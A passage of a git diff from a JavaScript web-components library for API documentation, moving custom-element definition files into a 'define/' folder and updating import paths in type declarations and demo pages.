-window.customElements.define('api-response-document', Element);
diff --git a/api-response-view.js b/api-response-view.js
deleted file mode 100644
index 7f91a96..0000000
--- a/api-response-view.js
+++ /dev/null
@@ -1,3 +0,0 @@
-import { ApiResponseViewElement } from './src/elements/ApiResponseViewElement.js';
-
-window.customElements.define('api-response-view', ApiResponseViewElement);
diff --git a/api-schema-document.js b/api-schema-document.js
deleted file mode 100644
index c9b7422..0000000
--- a/api-schema-document.js
+++ /dev/null
@@ -1,3 +0,0 @@
-import Element from './src/elements/ApiSchemaDocumentElement.js';
-
-window.customElements.define('api-schema-document', Element);
diff --git a/api-security-document.js b/api-security-document.js
deleted file mode 100644
index 32985fd..0000000
--- a/api-security-document.js
+++ /dev/null
@@ -1,3 +0,0 @@
-import Element from './src/elements/ApiSecurityDocumentElement.js';
-
-window.customElements.define('api-security-document', Element);
diff --git a/api-security-requirement-document.js b/api-security-requirement-document.js
deleted file mode 100644
index f0b143c..0000000
--- a/api-security-requirement-document.js
+++ /dev/null
@@ -1,3 +0,0 @@
-import Element from './src/elements/ApiSecurityRequirementDocumentElement.js';
-
-window.customElements.define('api-security-requirement-document', Element);
diff --git a/api-server-selector.js b/api-server-selector.js
deleted file mode 100644
index 9f2005a..0000000
--- a/api-server-selector.js
+++ /dev/null
@@ -1,3 +0,0 @@
-import Element from './src/elements/ApiServerSelectorElement.js';
-
-window.customElements.define('api-server-selector', Element);
diff --git a/api-summary.js b/api-summary.js
deleted file mode 100644
index 508ffc1..0000000
--- a/api-summary.js
+++ /dev/null
@@ -1,3 +0,0 @@
-import Element from './src/elements/ApiSummaryElement.js';
-
-window.customElements.define('api-summary', Element);
diff --git a/api-annotation-document.d.ts b/define/api-annotation-document.d.ts
similarity index 59%
rename from api-annotation-document.d.ts
rename to define/api-annotation-document.d.ts
index 7e46f34..7ba112f 100644
--- a/api-annotation-document.d.ts
+++ b/define/api-annotation-document.d.ts
@@ -1,4 +1,4 @@
-import Element from './src/elements/ApiAnnotationDocumentElement';
+import Element from '../src/elements/ApiAnnotationDocumentElement';
 
 declare global {
   interface HTMLElementTagNameMap {
diff --git a/define/api-annotation-document.js b/define/api-annotation-document.js
new file mode 100644
index 0000000..67f92a9
--- /dev/null
+++ b/define/api-annotation-document.js
@@ -0,0 +1,3 @@
+import Element from '../src/elements/ApiAnnotationDocumentElement.js';
+
+window.customElements.define('api-annotation-document', Element);
diff --git a/api-authorization-editor.d.ts b/define/api-authorization-editor.d.ts
similarity index 59%
rename from api-authorization-editor.d.ts
rename to define/api-authorization-editor.d.ts
index abd950a..384cbd3 100644
--- a/api-authorization-editor.d.ts
+++ b/define/api-authorization-editor.d.ts
@@ -1,4 +1,4 @@
-import Element from './src/elements/ApiAuthorizationEditorElement';
+import Element from '../src/elements/ApiAuthorizationEditorElement';
 
 declare global {
   interface HTMLElementTagNameMap {
diff --git a/define/api-authorization-editor.js b/define/api-authorization-editor.js
new file mode 100644
index 0000000..79cbf26
--- /dev/null
+++ b/define/api-authorization-editor.js
@@ -0,0 +1,3 @@
+import Element from '../src/elements/ApiAuthorizationEditorElement.js';
+
+window.customElements.define('api-authorization-editor', Element);
diff --git a/api-authorization-method.d.ts b/define/api-authorization-method.d.ts
similarity index 58%
rename from api-authorization-method.d.ts
rename to define/api-authorization-method.d.ts
index 074205e..a125863 100644
--- a/api-authorization-method.d.ts
+++ b/define/api-authorization-method.d.ts
@@ -1,4 +1,4 @@
-import Element from './src/elements/ApiAuthorizationMethodElement.js';
+import Element from '../src/elements/ApiAuthorizationMethodElement.js';
 
 declare global {
   interface HTMLElementTagNameMap {
diff --git a/define/api-authorization-method.js b/define/api-authorization-method.js
new file mode 100644
index 0000000..3ca16e0
--- /dev/null
+++ b/define/api-authorization-method.js
@@ -0,0 +1,4 @@
+
+import Element from '../src/elements/ApiAuthorizationMethodElement.js';
+
+window.customElements.define('api-authorization-method', Element);
diff --git a/api-channel-document.d.ts b/define/api-channel-document.d.ts
similarity index 59%
rename from api-channel-document.d.ts
rename to define/api-channel-document.d.ts
index b5e7d91..e0fee2f 100644
--- a/api-channel-document.d.ts
+++ b/define/api-channel-document.d.ts
@@ -1,4 +1,4 @@
-import Element from './src/elements/ApiChannelDocumentElement';
+import Element from '../src/elements/ApiChannelDocumentElement';
 
 declare global {
   interface HTMLElementTagNameMap {
diff --git a/define/api-channel-document.js b/define/api-channel-document.js
new file mode 100644
index 0000000..f6b3caa
--- /dev/null
+++ b/define/api-channel-document.js
@@ -0,0 +1,3 @@
+import Element from '../src/elements/ApiChannelDocumentElement.js';
+
+window.customElements.define('api-channel-document', Element);
diff --git a/api-documentation-document.d.ts b/define/api-documentation-document.d.ts
similarity index 59%
rename from api-documentation-document.d.ts
rename to define/api-documentation-document.d.ts
index cb22b9d..300194f 100644
--- a/api-documentation-document.d.ts
+++ b/define/api-documentation-document.d.ts
@@ -1,4 +1,4 @@
-import Element from './src/elements/ApiDocumentationDocumentElement';
+import Element from '../src/elements/ApiDocumentationDocumentElement';
 
 declare global {
   interface HTMLElementTagNameMap {
diff --git a/define/api-documentation-document.js b/define/api-documentation-document.js
new file mode 100644
index 0000000..42d21fc
--- /dev/null
+++ b/define/api-documentation-document.js
@@ -0,0 +1,3 @@
+import Element from '../src/elements/ApiDocumentationDocumentElement.js';
+
+window.customElements.define('api-documentation-document', Element);
diff --git a/api-documentation.d.ts b/define/api-documentation.d.ts
similarity index 59%
rename from api-documentation.d.ts
rename to define/api-documentation.d.ts
index 9d2788e..7d82afe 100644
--- a/api-documentation.d.ts
+++ b/define/api-documentation.d.ts
@@ -1,4 +1,4 @@
-import Element from './src/elements/ApiDocumentationElement';
+import Element from '../src/elements/ApiDocumentationElement';
 
 declare global {
   interface HTMLElementTagNameMap {
diff --git a/define/api-documentation.js b/define/api-documentation.js
new file mode 100644
index 0000000..ba53594
--- /dev/null
+++ b/define/api-documentation.js
@@ -0,0 +1,3 @@
+import Element from '../src/elements/ApiDocumentationElement.js';
+
+window.customElements.define('api-documentation', Element);
diff --git a/api-navigation.d.ts b/define/api-navigation.d.ts
similarity index 59%
rename from api-navigation.d.ts
rename to define/api-navigation.d.ts
index e1d6021..a27b02a 100644
--- a/api-navigation.d.ts
+++ b/define/api-navigation.d.ts
@@ -1,4 +1,4 @@
-import Element from './src/elements/ApiNavigationElement.js';
+import Element from '../src/elements/ApiNavigationElement.js';
 
 declare global {
   interface HTMLElementTagNameMap {
diff --git a/define/api-navigation.js b/define/api-navigation.js
new file mode 100644
index 0000000..e680504
--- /dev/null
+++ b/define/api-navigation.js
@@ -0,0 +1,3 @@
+import Element from '../src/elements/ApiNavigationElement.js';
+
+window.customElements.define('api-navigation', Element);
diff --git a/api-operation-document.d.ts b/define/api-operation-document.d.ts
similarity index 59%
rename from api-operation-document.d.ts
rename to define/api-operation-document.d.ts
index 228e1fa..d4d3812 100644
--- a/api-operation-document.d.ts
+++ b/define/api-operation-document.d.ts
@@ -1,4 +1,4 @@
-import Element from './src/elements/ApiOperationDocumentElement';
+import Element from '../src/elements/ApiOperationDocumentElement';
 
 declare global {
   interface HTMLElementTagNameMap {
diff --git a/define/api-operation-document.js b/define/api-operation-document.js
new file mode 100644
index 0000000..06b3a8b
--- /dev/null
+++ b/define/api-operation-document.js
@@ -0,0 +1,3 @@
+import Element from '../src/elements/ApiOperationDocumentElement.js';
+
+window.customElements.define('api-operation-document', Element);
diff --git a/api-parameter-document.d.ts b/define/api-parameter-document.d.ts
similarity index 59%
rename from api-parameter-document.d.ts
rename to define/api-parameter-document.d.ts
index 2de252a..5fc8af7 100644
--- a/api-parameter-document.d.ts
+++ b/define/api-parameter-document.d.ts
@@ -1,4 +1,4 @@
-import Element from './src/elements/ApiParameterDocumentElement';
+import Element from '../src/elements/ApiParameterDocumentElement';
 
 declare global {
   interface HTMLElementTagNameMap {
diff --git a/define/api-parameter-document.js b/define/api-parameter-document.js
new file mode 100644
index 0000000..f368728
--- /dev/null
+++ b/define/api-parameter-document.js
@@ -0,0 +1,3 @@
+import Element from '../src/elements/ApiParameterDocumentElement.js';
+
+window.customElements.define('api-parameter-document', Element);
diff --git a/api-parametrized-security-scheme.d.ts b/define/api-parametrized-security-scheme.d.ts
similarity index 58%
rename from api-parametrized-security-scheme.d.ts
rename to define/api-parametrized-security-scheme.d.ts
index c4d8cc2..67d8687 100644
--- a/api-parametrized-security-scheme.d.ts
+++ b/define/api-parametrized-security-scheme.d.ts
@@ -1,4 +1,4 @@
-import Element from './src/elements/ApiParametrizedSecuritySchemeElement';
+import Element from '../src/elements/ApiParametrizedSecuritySchemeElement';
 
 declare global {
   interface HTMLElementTagNameMap {
diff --git a/define/api-parametrized-security-scheme.js b/define/api-parametrized-security-scheme.js
new file mode 100644
index 0000000..cae2a26
--- /dev/null
+++ b/define/api-parametrized-security-scheme.js
@@ -0,0 +1,3 @@
+import Element from '../src/elements/ApiParametrizedSecuritySchemeElement.js';
+
+window.customElements.define('api-parametrized-security-scheme', Element);
diff --git a/api-payload-document.d.ts b/define/api-payload-document.d.ts
similarity index 59%
rename from api-payload-document.d.ts
rename to define/api-payload-document.d.ts
index 0a24b16..6aa13d7 100644
--- a/api-payload-document.d.ts
+++ b/define/api-payload-document.d.ts
@@ -1,4 +1,4 @@
-import Element from './src/elements/ApiPayloadDocumentElement';
+import Element from '../src/elements/ApiPayloadDocumentElement';
 
 declare global {
   interface HTMLElementTagNameMap {
diff --git a/define/api-payload-document.js b/define/api-payload-document.js
new file mode 100644
index 0000000..169d4c3
--- /dev/null
+++ b/define/api-payload-document.js
@@ -0,0 +1,3 @@
+import Element from '../src/elements/ApiPayloadDocumentElement.js';
+
+window.customElements.define('api-payload-document', Element);
diff --git a/api-request-document.d.ts b/define/api-request-document.d.ts
similarity index 59%
rename from api-request-document.d.ts
rename to define/api-request-document.d.ts
index 631c54a..5abc50f 100644
--- a/api-request-document.d.ts
+++ b/define/api-request-document.d.ts
@@ -1,4 +1,4 @@
-import Element from './src/elements/ApiRequestDocumentElement';
+import Element from '../src/elements/ApiRequestDocumentElement';
 
 declare global {
   interface HTMLElementTagNameMap {
diff --git a/define/api-request-document.js b/define/api-request-document.js
new file mode 100644
index 0000000..3a1cd1b
--- /dev/null
+++ b/define/api-request-document.js
@@ -0,0 +1,3 @@
+import Element from '../src/elements/ApiRequestDocumentElement.js';
+
+window.customElements.define('api-request-document', Element);
diff --git a/api-request-editor.d.ts b/define/api-request-editor.d.ts
similarity index 60%
rename from api-request-editor.d.ts
rename to define/api-request-editor.d.ts
index c1c912d..94bc49d 100644
--- a/api-request-editor.d.ts
+++ b/define/api-request-editor.d.ts
@@ -1,4 +1,4 @@
-import Element from './src/elements/ApiRequestEditorElement';
+import Element from '../src/elements/ApiRequestEditorElement';
 
 declare global {
   interface HTMLElementTagNameMap {
diff --git a/define/api-request-editor.js b/define/api-request-editor.js
new file mode 100644
index 0000000..55ff5a8
--- /dev/null
+++ b/define/api-request-editor.js
@@ -0,0 +1,3 @@
+import Element from '../src/elements/ApiRequestEditorElement.js';
+
+window.customElements.define('api-request-editor', Element);
diff --git a/api-request.d.ts b/define/api-request.d.ts
similarity index 60%
rename from api-request.d.ts
rename to define/api-request.d.ts
index a8e0a7c..c5a55b0 100644
--- a/api-request.d.ts
+++ b/define/api-request.d.ts
@@ -1,4 +1,4 @@
-import Element from './src/elements/ApiRequestElement';
+import Element from '../src/elements/ApiRequestElement';
 
 declare global {
   interface HTMLElementTagNameMap {
diff --git a/define/api-request.js b/define/api-request.js
new file mode 100644
index 0000000..43d877d
--- /dev/null
+++ b/define/api-request.js
@@ -0,0 +1,3 @@
+import Element from '../src/elements/ApiRequestElement.js';
+
+window.customElements.define('api-request', Element);
diff --git a/api-resource-document.d.ts b/define/api-resource-document.d.ts
similarity index 59%
rename from api-resource-document.d.ts
rename to define/api-resource-document.d.ts
index 0132b3f..ca06a07 100644
--- a/api-resource-document.d.ts
+++ b/define/api-resource-document.d.ts
@@ -1,4 +1,4 @@
-import Element from './src/elements/ApiResourceDocumentElement';
+import Element from '../src/elements/ApiResourceDocumentElement';
 
 declare global {
   interface HTMLElementTagNameMap {
diff --git a/define/api-resource-document.js b/define/api-resource-document.js
new file mode 100644
index 0000000..275dde7
--- /dev/null
+++ b/define/api-resource-document.js
@@ -0,0 +1,3 @@
+import Element from '../src/elements/ApiResourceDocumentElement.js';
+
+window.customElements.define('api-resource-document', Element);
diff --git a/api-response-document.d.ts b/define/api-response-document.d.ts
similarity index 59%
rename from api-response-document.d.ts
rename to define/api-response-document.d.ts
index 5627063..1b4c097 100644
--- a/api-response-document.d.ts
+++ b/define/api-response-document.d.ts
@@ -1,4 +1,4 @@
-import Element from './src/elements/ApiResponseDocumentElement';
+import Element from '../src/elements/ApiResponseDocumentElement';
 
 declare global {
   interface HTMLElementTagNameMap {
diff --git a/define/api-response-document.js b/define/api-response-document.js
new file mode 100644
index 0000000..3c76178
--- /dev/null
+++ b/define/api-response-document.js
@@ -0,0 +1,3 @@
+import Element from '../src/elements/ApiResponseDocumentElement.js';
+
+window.customElements.define('api-response-document', Element);
diff --git a/api-response-view.d.ts b/define/api-response-view.d.ts
similarity index 56%
rename from api-response-view.d.ts
rename to define/api-response-view.d.ts
index 00caa00..f45f50a 100644
--- a/api-response-view.d.ts
+++ b/define/api-response-view.d.ts
@@ -1,4 +1,4 @@
-import { ApiResponseViewElement } from './src/elements/ApiResponseViewElement.js';
+import { ApiResponseViewElement } from '../src/elements/ApiResponseViewElement.js';
 
 declare global {
   interface HTMLElementTagNameMap {
diff --git a/define/api-response-view.js b/define/api-response-view.js
new file mode 100644
index 0000000..4a654bc
--- /dev/null
+++ b/define/api-response-view.js
@@ -0,0 +1,3 @@
+import { ApiResponseViewElement } from '../src/elements/ApiResponseViewElement.js';
+
+window.customElements.define('api-response-view', ApiResponseViewElement);
diff --git a/api-schema-document.d.ts b/define/api-schema-document.d.ts
similarity index 60%
rename from api-schema-document.d.ts
rename to define/api-schema-document.d.ts
index edfd6e7..d20a450 100644
--- a/api-schema-document.d.ts
+++ b/define/api-schema-document.d.ts
@@ -1,4 +1,4 @@
-import Element from './src/elements/ApiSchemaDocumentElement';
+import Element from '../src/elements/ApiSchemaDocumentElement';
 
 declare global {
   interface HTMLElementTagNameMap {
diff --git a/define/api-schema-document.js b/define/api-schema-document.js
new file mode 100644
index 0000000..cf614dd
--- /dev/null
+++ b/define/api-schema-document.js
@@ -0,0 +1,3 @@
+import Element from '../src/elements/ApiSchemaDocumentElement.js';
+
+window.customElements.define('api-schema-document', Element);
diff --git a/api-security-document.d.ts b/define/api-security-document.d.ts
similarity index 59%
rename from api-security-document.d.ts
rename to define/api-security-document.d.ts
index fca8658..e14d940 100644
--- a/api-security-document.d.ts
+++ b/define/api-security-document.d.ts
@@ -1,4 +1,4 @@
-import Element from './src/elements/ApiSecurityDocumentElement';
+import Element from '../src/elements/ApiSecurityDocumentElement';
 
 declare global {
   interface HTMLElementTagNameMap {
diff --git a/define/api-security-document.js b/define/api-security-document.js
new file mode 100644
index 0000000..5b7571f
--- /dev/null
+++ b/define/api-security-document.js
@@ -0,0 +1,3 @@
+import Element from '../src/elements/ApiSecurityDocumentElement.js';
+
+window.customElements.define('api-security-document', Element);
diff --git a/api-security-requirement-document.d.ts b/define/api-security-requirement-document.d.ts
similarity index 58%
rename from api-security-requirement-document.d.ts
rename to define/api-security-requirement-document.d.ts
index 5e6345a..61659c4 100644
--- a/api-security-requirement-document.d.ts
+++ b/define/api-security-requirement-document.d.ts
@@ -1,4 +1,4 @@
-import Element from './src/elements/ApiSecurityRequirementDocumentElement';
+import Element from '../src/elements/ApiSecurityRequirementDocumentElement';
 
 declare global {
   interface HTMLElementTagNameMap {
diff --git a/define/api-security-requirement-document.js b/define/api-security-requirement-document.js
new file mode 100644
index 0000000..40bf048
--- /dev/null
+++ b/define/api-security-requirement-document.js
@@ -0,0 +1,3 @@
+import Element from '../src/elements/ApiSecurityRequirementDocumentElement.js';
+
+window.customElements.define('api-security-requirement-document', Element);
diff --git a/api-server-selector.d.ts b/define/api-server-selector.d.ts
similarity index 60%
rename from api-server-selector.d.ts
rename to define/api-server-selector.d.ts
index 23a7f6c..de19838 100644
--- a/api-server-selector.d.ts
+++ b/define/api-server-selector.d.ts
@@ -1,4 +1,4 @@
-import Element from './src/elements/ApiServerSelectorElement';
+import Element from '../src/elements/ApiServerSelectorElement';
 
 declare global {
   interface HTMLElementTagNameMap {
diff --git a/define/api-server-selector.js b/define/api-server-selector.js
new file mode 100644
index 0000000..8a130be
--- /dev/null
+++ b/define/api-server-selector.js
@@ -0,0 +1,3 @@
+import Element from '../src/elements/ApiServerSelectorElement.js';
+
+window.customElements.define('api-server-selector', Element);
diff --git a/api-summary.d.ts b/define/api-summary.d.ts
similarity index 60%
rename from api-summary.d.ts
rename to define/api-summary.d.ts
index 046e137..a0328ec 100644
--- a/api-summary.d.ts
+++ b/define/api-summary.d.ts
@@ -1,4 +1,4 @@
-import Element from './src/elements/ApiSummaryElement';
+import Element from '../src/elements/ApiSummaryElement';
 
 declare global {
   interface HTMLElementTagNameMap {
diff --git a/define/api-summary.js b/define/api-summary.js
new file mode 100644
index 0000000..b098360
--- /dev/null
+++ b/define/api-summary.js
@@ -0,0 +1,3 @@
+import Element from '../src/elements/ApiSummaryElement.js';
+
+window.customElements.define('api-summary', Element);
diff --git a/xhr-simple-request-transport.d.ts b/define/xhr-simple-request-transport.d.ts
similarity index 59%
rename from xhr-simple-request-transport.d.ts
rename to define/xhr-simple-request-transport.d.ts
index 43ef291..e313ecf 100644
--- a/xhr-simple-request-transport.d.ts
+++ b/define/xhr-simple-request-transport.d.ts
@@ -1,4 +1,4 @@
-import Element from './src/elements/XhrSimpleRequestTransportElement';
+import Element from '../src/elements/XhrSimpleRequestTransportElement';
 
 declare global {
   interface HTMLElementTagNameMap {
diff --git a/define/xhr-simple-request-transport.js b/define/xhr-simple-request-transport.js
new file mode 100644
index 0000000..dc60596
--- /dev/null
+++ b/define/xhr-simple-request-transport.js
@@ -0,0 +1,3 @@
+import Element from '../src/elements/XhrSimpleRequestTransportElement.js';
+
+window.customElements.define('xhr-simple-request-transport', Element);
diff --git a/xhr-simple-request.d.ts b/define/xhr-simple-request.d.ts
similarity index 60%
rename from xhr-simple-request.d.ts
rename to define/xhr-simple-request.d.ts
index dbfd80f..7d40b69 100644
--- a/xhr-simple-request.d.ts
+++ b/define/xhr-simple-request.d.ts
@@ -1,4 +1,4 @@
-import Element from './src/elements/XhrSimpleRequestElement';
+import Element from '../src/elements/XhrSimpleRequestElement';
 
 declare global {
   interface HTMLElementTagNameMap {
diff --git a/define/xhr-simple-request.js b/define/xhr-simple-request.js
new file mode 100644
index 0000000..c819e8e
--- /dev/null
+++ b/define/xhr-simple-request.js
@@ -0,0 +1,3 @@
+import Element from '../src/elements/XhrSimpleRequestElement.js';
+
+window.customElements.define('xhr-simple-request', Element);
diff --git a/demo/api-annotation.js b/demo/api-annotation.js
index 727a8ad..72702f7 100644
--- a/demo/api-annotation.js
+++ b/demo/api-annotation.js
@@ -1,7 +1,7 @@
 import { html } from 'lit-html';
 import '@advanced-rest-client/arc-demo-helper/arc-interactive-demo.js';
 import { AmfDemoBase } from './lib/AmfDemoBase.js';
-import '../api-annotation-document.js';
+import '../define/api-annotation-document.js';
 
 /** @typedef {import('../src/events/NavigationEvents').ApiNavigationEvent} ApiNavigationEvent */
 
diff --git a/demo/api-channel.js b/demo/api-channel.js
index 5eaed7d..fe7455e 100644
--- a/demo/api-channel.js
+++ b/demo/api-channel.js
@@ -3,7 +3,7 @@ import '@advanced-rest-client/arc-demo-helper/arc-interactive-demo.js';
 import '@advanced-rest-client/app/define/oauth2-authorization.js';
 import '@anypoint-web-components/awc/anypoint-checkbox.js';
 import { AmfDemoBase } from './lib/AmfDemoBase.js';
-import '../api-channel-document.js';
+import '../define/api-channel-document.js';
 
 /** @typedef {import('../src/events/NavigationEvents').ApiNavigationEvent} ApiNavigationEvent */
 
diff --git a/demo/api-console.js b/demo/api-console.js
index 51fb385..0dd2696 100644
--- a/demo/api-console.js
+++ b/demo/api-console.js
@@ -12,9 +12,9 @@ import { findRoute, navigate } from './lib/route.js';
 import { EventTypes } from '../src/events/EventTypes.js';
 import { AmfSerializer } from '../src/helpers/AmfSerializer.js';
 import { DomEventsAmfStore } from "../src/store/DomEventsAmfStore.js";
-import "../api-navigation.js";
-import '../api-documentation.js';
-import '../xhr-simple-request.js';
+import "../define/api-navigation.js";
+import '../define/api-documentation.js';
+import '../define/xhr-simple-request.js';
 
 /** @typedef {import('lit-html').TemplateResult} TemplateResult */
 /** @typedef {import('@anypoint-web-components/awc').AnypointListboxElement} AnypointListbox */
diff --git a/demo/api-documentation-document.js b/demo/api-documentation-document.js
index b1902eb..ad60e2b 100644
--- a/demo/api-documentation-document.js
+++ b/demo/api-documentation-document.js
@@ -1,8 +1,8 @@
 import { html } from 'lit-html';
 import '@advanced-rest-client/arc-demo-helper/arc-interactive-demo.js';
 import { AmfDemoBase } from './lib/AmfDemoBase.js';
-import '../api-navigation.js';
-import '../api-documentation-document.js';
+import '../define/api-navigation.js';
+import '../define/api-documentation-document.js';
 
 /** @typedef {import('../src/events/NavigationEvents').ApiNavigationEvent} ApiNavigationEvent */
 
diff --git a/demo/api-documentation-partial.js b/demo/api-documentation-partial.js
index 61df9d7..bd80ab4 100644
--- a/demo/api-documentation-partial.js
+++ b/demo/api-documentation-partial.js
@@ -6,10 +6,10 @@ import '@anypoint-web-components/awc/anypoint-dialog-scrollable.js';
 import '@advanced-rest-client/app/define/oauth2-authorization.js';
 import { AmfDemoBase } from './lib/AmfDemoBase.js';
 import { AmfPartialGraphStore } from './lib/AmfPartialGraphStore.js';
-import '../api-documentation.js';
-import '../api-server-selector.js';
-import '../api-request.js';
-import '../xhr-simple-request.js';
+import '../define/api-documentation.js';
+import '../define/api-server-selector.js';
+import '../define/api-request.js';
+import '../define/xhr-simple-request.js';
 
 /** @typedef {import('lit-html').TemplateResult} TemplateResult */
 /** @typedef {import('../src/events/NavigationEvents').ApiNavigationEvent} ApiNavigationEvent */
diff --git a/demo/api-documentation.js b/demo/api-documentation.js
index be30a36..a663d75 100644
--- a/demo/api-documentation.js
+++ b/demo/api-documentation.js
@@ -5,10 +5,10 @@ import '@anypoint-web-components/awc/anypoint-dialog.js';
 import '@anypoint-web-components/awc/anypoint-dialog-scrollable.js';
 import '@advanced-rest-client/app/define/oauth2-authorization.js';
 import { AmfDemoBase } from './lib/AmfDemoBase.js';
-import '../api-request.js';
-import '../xhr-simple-request.js';
-import '../api-server-selector.js';
-import '../api-documentation.js';
+import '../define/api-request.js';
+import '../define/xhr-simple-request.js';
+import '../define/api-server-selector.js';
+import '../define/api-documentation.js';
 
 /** @typedef {import('../src/events/NavigationEvents').ApiNavigationEvent} ApiNavigationEvent */
 
diff --git a/demo/api-editor.js b/demo/api-editor.js
index 0c8b18d..3af64e4 100644
--- a/demo/api-editor.js
+++ b/demo/api-editor.js
@@ -11,9 +11,9 @@ import { DomEventsAmfStore } from "../src/store/DomEventsAmfStore.js";
 import { ApplicationPage } from "./lib/ApplicationPage.js";
 import { EventTypes } from '../src/events/EventTypes.js';
 // import { AmfSerializer } from '../src/helpers/AmfSerializer.js';
-import "../api-navigation.js";
-import '../api-documentation.js';
-import '../xhr-simple-request.js';
+import "../define/api-navigation.js";
+import '../define/api-documentation.js';
+import '../define/xhr-simple-request.js';
 import * as ApiExamples from './lib/ApiExamples.js';
 
 const StorePrefix = 'ApiEditor.Value.';
diff --git a/demo/api-operation.js b/demo/api-operation.js
index c56d589..d62a402 100644
--- a/demo/api-operation.js
+++ b/demo/api-operation.js
@@ -5,10 +5,10 @@ import '@anypoint-web-components/awc/anypoint-dialog.js';
 import '@anypoint-web-components/awc/anypoint-dialog-scrollable.js';
 import '@advanced-rest-client/app/define/oauth2-authorization.js';
 import { AmfDemoBase } from './lib/AmfDemoBase.js';
-import '../api-operation-document.js';
-import '../api-request.js';
-import '../api-server-selector.js';
-import '../xhr-simple-request.js';
+import '../define/api-operation-document.js';
+import '../define/api-request.js';
+import '../define/api-server-selector.js';
+import '../define/xhr-simple-request.js';
 
 /** @typedef {import('../src/events/NavigationEvents').ApiNavigationEvent} ApiNavigationEvent */
 
diff --git a/demo/api-payload.js b/demo/api-payload.js
index 671f04c..4ba3b60 100644
--- a/demo/api-payload.js
+++ b/demo/api-payload.js
@@ -1,6 +1,6 @@
 import { html } from 'lit-html';
 import { AmfDemoBase } from './lib/AmfDemoBase.js';
-import '../api-payload-document.js';
+import '../define/api-payload-document.js';
 
 /** @typedef {import('../').Amf.Payload} Payload */
 /** @typedef {import('../src/events/NavigationEvents').ApiNavigationEvent} ApiNavigationEvent */
diff --git a/demo/api-request.js b/demo/api-request.js
index 8330c7f..71b62cc 100644
--- a/demo/api-request.js
+++ b/demo/api-request.js
@@ -5,9 +5,9 @@ import '@advanced-rest-client/app/define/oauth2-authorization.js';
 import '@advanced-rest-client/app/define/oauth1-authorization.js';
 import '@advanced-rest-client/app/define/oidc-authorization.js';
 import { AmfDemoBase } from './lib/AmfDemoBase.js';
-import '../api-navigation.js';
-import '../xhr-simple-request.js';
-import '../api-request.js';
+import '../define/api-navigation.js';
+import '../define/xhr-simple-request.js';
+import '../define/api-request.js';
 
 /** @typedef {import('../src/events/NavigationEvents').ApiNavigationEvent} ApiNavigationEvent */
 
diff --git a/demo/api-resource.js b/demo/api-resource.js
index 35d32eb..786138c 100644
--- a/demo/api-resource.js
+++ b/demo/api-resource.js
@@ -5,10 +5,10 @@ import '@anypoint-web-components/awc/anypoint-dialog.js';
 import '@anypoint-web-components/awc/anypoint-dialog-scrollable.js';
 import '@advanced-rest-client/app/define/oauth2-authorization.js';
 import { AmfDemoBase } from './lib/AmfDemoBase.js';
-import '../api-resource-document.js';
-import '../api-request.js';
-import '../xhr-simple-request.js';
-import '../api-server-selector.js';
+import '../define/api-resource-document.js';
+import '../define/api-request.js';
+import '../define/xhr-simple-request.js';
+import '../define/api-server-selector.js';
 
 /** @typedef {import('../src/events/NavigationEvents').ApiNavigationEvent} ApiNavigationEvent */
 
diff --git a/demo/api-schema-documentation.js b/demo/api-schema-documentation.js
index 6781bc7..921c428 100644
--- a/demo/api-schema-documentation.js
+++ b/demo/api-schema-documentation.js
@@ -4,8 +4,8 @@ import { ifDefined } from 'lit-html/directives/if-defined.js';
 import '@advanced-rest-client/arc-demo-helper/arc-interactive-demo.js';
 import '@anypoint-web-components/awc/anypoint-checkbox.js';
 import { AmfDemoBase } from './lib/AmfDemoBase.js';
-import '../api-schema-document.js';
-import '../api-navigation.js';
+import '../define/api-schema-document.js';
+import '../define/api-navigation.js';
 
 /** @typedef {import('../src/helpers/amf').DomainElement} DomainElement */
 /** @typedef {import('../src/events/NavigationEvents').ApiNavigationEvent} ApiNavigationEvent */
diff --git a/demo/api-security-documentation.js b/demo/api-security-documentation.js
index ed11034..976260e 100644
--- a/demo/api-security-documentation.js
+++ b/demo/api-security-documentation.js
@@ -3,7 +3,7 @@ import { html } from 'lit-html';
 import '@advanced-rest-client/arc-demo-helper/arc-interactive-demo.js';
 import '@anypoint-web-components/awc/anypoint-checkbox.js';
 import { AmfDemoBase } from './lib/AmfDemoBase.js';
-import '../api-security-document.js';
+import '../define/api-security-document.js';
 
 /** @typedef {import('../src/events/NavigationEvents').ApiNavigationEvent} ApiNavigationEvent */
 
diff --git a/demo/api-summary.js b/demo/api-summary.js
index 552ab6f..d820f4e 100644
--- a/demo/api-summary.js
+++ b/demo/api-summary.js
@@ -2,7 +2,7 @@ import { html } from 'lit-html';
 import '@advanced-rest-client/arc-demo-helper/arc-interactive-demo.js';
 import '@anypoint-web-components/awc/anypoint-checkbox.js';
 import { AmfDemoBase } from './lib/AmfDemoBase.js';
-import '../api-summary.js';
+import '../define/api-summary.js';
 
 class ComponentPage extends AmfDemoBase {
   constructor() {
diff --git a/demo/lib/AmfDemoBase.js b/demo/lib/AmfDemoBase.js
index ed9dc1a..07bc96b 100644
--- a/demo/lib/AmfDemoBase.js
+++ b/demo/lib/AmfDemoBase.js
@@ -8,7 +8,7 @@ import { DomEventsAmfStore } from "../../src/store/DomEventsAmfStore.js";
 import { AmfHelperMixin } from "../../src/helpers/AmfHelperMixin.js";
 import { EventTypes } from '../../src/events/EventTypes.js';
 import { navigate, findRoute } from './route.js';
-import '../../api-navigation.js';
+import '../../define/api-navigation.js';
 import './ApiStyles.js';
 
 /** @typedef {import('lit-html').TemplateResult} TemplateResult */
diff --git a/demo/request-editor.js b/demo/request-editor.js
index 01fc6cf..1c360bf 100644
--- a/demo/request-editor.js
+++ b/demo/request-editor.js
@@ -6,8 +6,8 @@ import '@advanced-rest-client/app/define/oidc-authorization.js';
 import '@advanced-rest-client/app/define/oauth2-authorization.js';
 import '@advanced-rest-client/app/define/oauth1-authorization.js';
 import { AmfDemoBase } from './lib/AmfDemoBase.js';
-import '../xhr-simple-request.js';
-import '../api-request-editor.js';
+import '../define/xhr-simple-request.js';
+import '../define/api-request-editor.js';
 
 /** @typedef {import('../src/events/NavigationEvents').ApiNavigationEvent} ApiNavigationEvent */
 
diff --git a/demo/server-selector.js b/demo/server-selector.js
index cbf3741..95a0d30 100644
--- a/demo/server-selector.js
+++ b/demo/server-selector.js
@@ -2,8 +2,8 @@ import { html } from 'lit-html';
 import '@anypoint-web-components/awc/anypoint-checkbox.js';
 import '@advanced-rest-client/arc-demo-helper/arc-interactive-demo.js';
 import { AmfDemoBase } from './lib/AmfDemoBase.js';
-import '../api-server-selector.js';
-import '../api-navigation.js';
+import '../define/api-server-selector.js';
+import '../define/api-navigation.js';
 
